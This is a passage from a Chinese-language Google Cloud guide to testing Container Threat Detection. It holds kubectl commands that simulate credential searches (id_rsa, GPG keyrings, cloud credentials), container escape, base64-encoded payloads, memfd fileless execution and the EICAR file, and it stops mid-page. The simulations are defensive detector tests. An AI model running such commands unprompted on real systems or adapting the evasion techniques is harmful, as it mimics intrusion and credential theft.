测试 Container Threat Detection

本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Container Threat Detection 是否正常运行。Container Threat Detection 是 Security Command Center 的高级层级和 Enterprise 层级的内置服务。 如需查看 Container Threat Detection 发现结果,您必须在 Security Command Center 服务设置中启用该服务。

准备工作

如需检测容器的潜在威胁,您需要确保集群位于受支持的 Google Kubernetes Engine (GKE) 版本上。如需了解详情,请参阅使用受支持的 GKE 版本

启用检测器

以下检测器默认处于停用状态:

  • Added Binary Executed
  • Added Library Loaded
  • Credential Access: Find Google Cloud Credentials
  • Defense Evasion: Launch Code Compiler Tool In Container
  • Execution: Program Run with Disallowed HTTP Proxy Env
  • Exfiltration: Launch Remote File Copy Tools in Container

如需测试这些检测器,您必须明确进行启用:

  1. 检查检测器状态:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. 启用检测器 Added Binary Executed

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. 启用检测器 Added Library Loaded

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. 启用检测器 Credential Access: Find Google Cloud Credentials

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=FIND_GCP_CREDENTIALS \
        --project=${PROJECT}
    
  5. 启用检测器 Execution: Program Run with Disallowed HTTP Proxy Env

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  6. 启用检测器 Exfiltration: Launch Remote File Copy Tools in Container

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  7. 启用检测器 Defense Evasion: Launch Code Compiler Tool In Container

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    

设置环境变量

如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更轻松地运行命令。以下变量用于测试所有 Container Threat Detection 检测器。

  1. 前往 Google Cloud 控制台

    前往 Google Cloud 控制台

  2. 选择包含要用来测试的容器的项目。

  3. 点击激活 Cloud Shell

  4. 在 Cloud Shell 中,设置环境变量。

    1. 您的集群所在的区域:

      export ZONE=CLUSTER_ZONE
      
    2. 您的容器所在的项目:

      export PROJECT=PROJECT_ID
      
    3. 您的集群名称:

      export CLUSTER_NAME=CLUSTER_NAME
      

变量已设置。以下部分包含测试 Container Threat Detection 检测器的说明。

已执行添加的二进制文件

如需触发已执行添加的二进制文件发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,然后执行。二进制文件的执行是出乎意料的,因为二进制文件的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器也是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • ARM 节点:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

此测试过程应创建一个“已执行添加的二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“已执行添加的二进制文件”发现结果。如需在设置容器时查看所有“已执行添加的二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已加载添加的库

如需触发“已加载添加的二进制文件”发现结果,请将库放入容器中,然后加载该库。此示例将部署最新的 Ubuntu 24.04 映像,将 /lib/x86_64-linux-gnu/libc.so.6 复制到其他位置,然后使用 ld 加载。已加载的库是出乎意料的,因为库的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入一个库并使用 ld 加载它:

    • x86 节点:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • ARM 节点:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

此测试过程应创建一个“已加载添加的库”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级激活 Security Command Center 的高级层级或 Enterprise 层级时,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤添加的库加载的发现结果。如需在设置容器时查看所有“已加载添加的库”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

命令和控制:检测到信息隐写工具

如需触发Command and Control: Steganography Tool Detected预览版)发现结果,具有与信息隐写工具一致的文件操作功能的二进制文件必须在容器内执行。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 steghide(或其他信息隐写工具,例如 stegano)。此行为会标记为可疑,因为它可能表示有人试图准备一个容器来隐藏或提取数据,而这可能是出于恶意目的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行如 steghide 之类的信息隐写工具二进制文件:

    • x86 节点:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • ARM 节点:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

此测试过程会创建一个Command and Control: Steganography Tool Detected发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

凭证访问权限:查找 Google Cloud 凭证

如需触发Credential Access: Find Google Cloud Credentials发现结果,需要在容器内执行能够搜索文件内容的二进制文件。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 grep。然后使用指定指示 Google Cloud 凭证形式的搜索模式的参数执行已重命名的二进制文件。此操作会标记为可疑,因为它模仿了尝试查找 Google Cloud 凭证时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • ARM 节点:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

此测试过程应创建一个Credential Access: Find Google Cloud Credentials发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

凭证访问权限:GPG 密钥侦察

如需触发Credential Access: GPG Key Reconnaissance发现结果,需要在容器内执行能够搜索文件内容的二进制文件。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 find(或其他合适的搜索实用程序,例如 grep)。然后使用指定指示私钥或密码的搜索模式或建议密码或 Secret 的内容模式的参数执行已重命名的二进制文件。此操作会标记为可疑,因为它模仿了尝试查找 GPGS 安全密钥时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      
    • ARM 节点:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      

此测试过程应创建一个Credential Access: GPG Key Reconnaissance发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

凭证访问权限:搜索私钥或密码

如需触发Credential Access: Search Private Keys or Passwords发现结果,需要在容器内执行能够搜索文件内容的二进制文件。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 find(或其他合适的搜索实用程序,例如 grep)。然后使用指定指示私钥或密码的搜索模式或建议密码或 Secret 的内容模式的参数执行已重命名的二进制文件。此操作会标记为可疑,因为它模仿了在容器化环境中尝试查找私钥或密码等敏感信息时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • ARM 节点:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

此测试过程应创建一个Credential Access: Search Private Keys or Passwords发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

防护规避:Base64 ELF 文件命令行

如需触发Defense Evasion: Base64 ELF File Command Line发现结果,进程必须具有 base64 作为参数,并具有 f0VMRgIB 作为参数,后者是 ELF 的 base64 编码形式。此示例使用最新的 Ubuntu 24.04 映像。然后,使用 -df0VMRgIB 参数执行 base64。此操作会标记为可疑,因为它模仿了尝试解码二进制数据以执行恶意代码时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • ARM 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

此测试过程应创建两个Defense Evasion: Base64 ELF File Command Line发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。由于初始 bash -c 命令以及 base64 -d 命令的执行满足发现结果条件,因此创建了两个发现结果。

防护规避:已执行 Base64 编码的 Python 脚本

如需触发Defense Evasion: Base64 Encoded Python Script Executed发现结果,进程必须具有 echobase64 作为参数,并具有 aW1wb3J0IH 作为参数,后者是 python -c 的 base64 编码形式。此示例使用最新的 Ubuntu 24.04 映像。然后,使用 aW1wb3J0IH 参数执行 echo。 此操作会标记为可疑,因为它模仿了尝试解码二进制数据以执行恶意代码时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • ARM 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

此测试过程应创建一个Defense Evasion: Base64 Encoded Python Script Executed发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

防护规避:执行 Base64 编码的 shell 脚本

如需触发Defense Evasion: Base64 Encoded Shell Script Executed发现结果,进程必须具有 echobase64 作为参数,并具有 IyEvYmluL2Jhc2gK 作为参数,后者是 #!/bin/bash 的 base64 编码形式。此示例使用最新的 Ubuntu 24.04 映像。然后,使用 IyEvYmluL2Jhc2gK 参数执行 echo。 此操作会标记为可疑,因为它模仿了尝试解码二进制数据以执行恶意代码时观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行搜索工具二进制文件,例如 find

    • x86 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • ARM 节点:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

此测试过程应创建一个Defense Evasion: Base64 Encoded Shell Script Executed发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

防护规避:在容器中启动代码编译器工具

如需触发Defense Evasion: Launch Code Compiler Tool In Container预览版)发现结果,代码编译器工具必须在容器内执行。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 gcc10(或其他编译器,例如 clang)。此行为会标记为可疑,因为它可能表示有人试图在容器内编译和执行恶意代码,以逃避检测或修改其行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行编译器二进制文件,例如 gcc10

    • x86 节点:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • ARM 节点:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

此测试过程会创建一个Defense Evasion: Launch Code Compiler Tool In Container发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:已执行添加的恶意二进制文件

如需触发“执行:已执行添加的恶意二进制文件”发现结果,请将恶意二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,创建模拟的恶意文件,然后执行该文件。二进制文件的执行是出乎意料的,因为模拟的恶意二进制文件不是原始容器映像的一部分,并且该二进制文件是 EICAR 测试文件,这是一种被威胁情报系统归类为恶意的文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • ARM 节点:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

此测试过程应创建一个“执行:已执行添加的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行添加的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:已执行添加的恶意二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:容器逃逸

如需触发“执行:容器逃逸”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (botb-linux-amd64),并使用其他参数执行该工具。此操作被视为可疑操作,因为此执行会模拟与容器逃逸试图一致的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入容器利用工具二进制文件(如 botb-linux-amd64)并执行该文件:

    • x86 节点:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • ARM 节点:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

此测试过程应创建一个“执行:容器逃逸”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:/memfd: 中的无文件执行

如需触发Execution: Fileless Execution in /memfd:发现结果,必须从 /memfd: 内存中文件系统执行进程。此示例使用最新的 Ubuntu 24.04 映像。/bin/ls 实用程序会复制到 /memfd: 中的匿名文件。然后,系统会执行此复制的二进制文件。 在 /memfd: 下执行二进制文件会标记为可疑,因为它模仿了对象尝试在内存中执行的行为,以避免基于文件的检测。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 创建特权容器并打开 bash 以执行命令:

    • x86 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      
    • ARM 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      

此测试过程应创建一个Execution: Fileless Execution in /memfd:发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:Ingress Nightmare 漏洞执行

如需触发“执行:Ingress Nightmare 漏洞执行”(预览版)发现结果,请在容器中执行 nginx 二进制文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为 Nginx 二进制文件 (nginx),并使用引用 /proc 文件系统的其他参数执行该二进制文件。此操作被视为可疑操作,因为它会模拟与 Ingress Nightmare 漏洞利用 (CVE-2025-1974) 一致的行为,从而表明存在潜在的远程代码执行问题。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 创建一个 Nginx 二进制文件(如 nginx),并在访问 /proc 文件系统时执行该文件:

    • x86 节点:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • ARM 节点:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

此测试过程会创建一个“执行:Ingress Nightmare 漏洞执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果

执行:Kubernetes 攻击工具执行

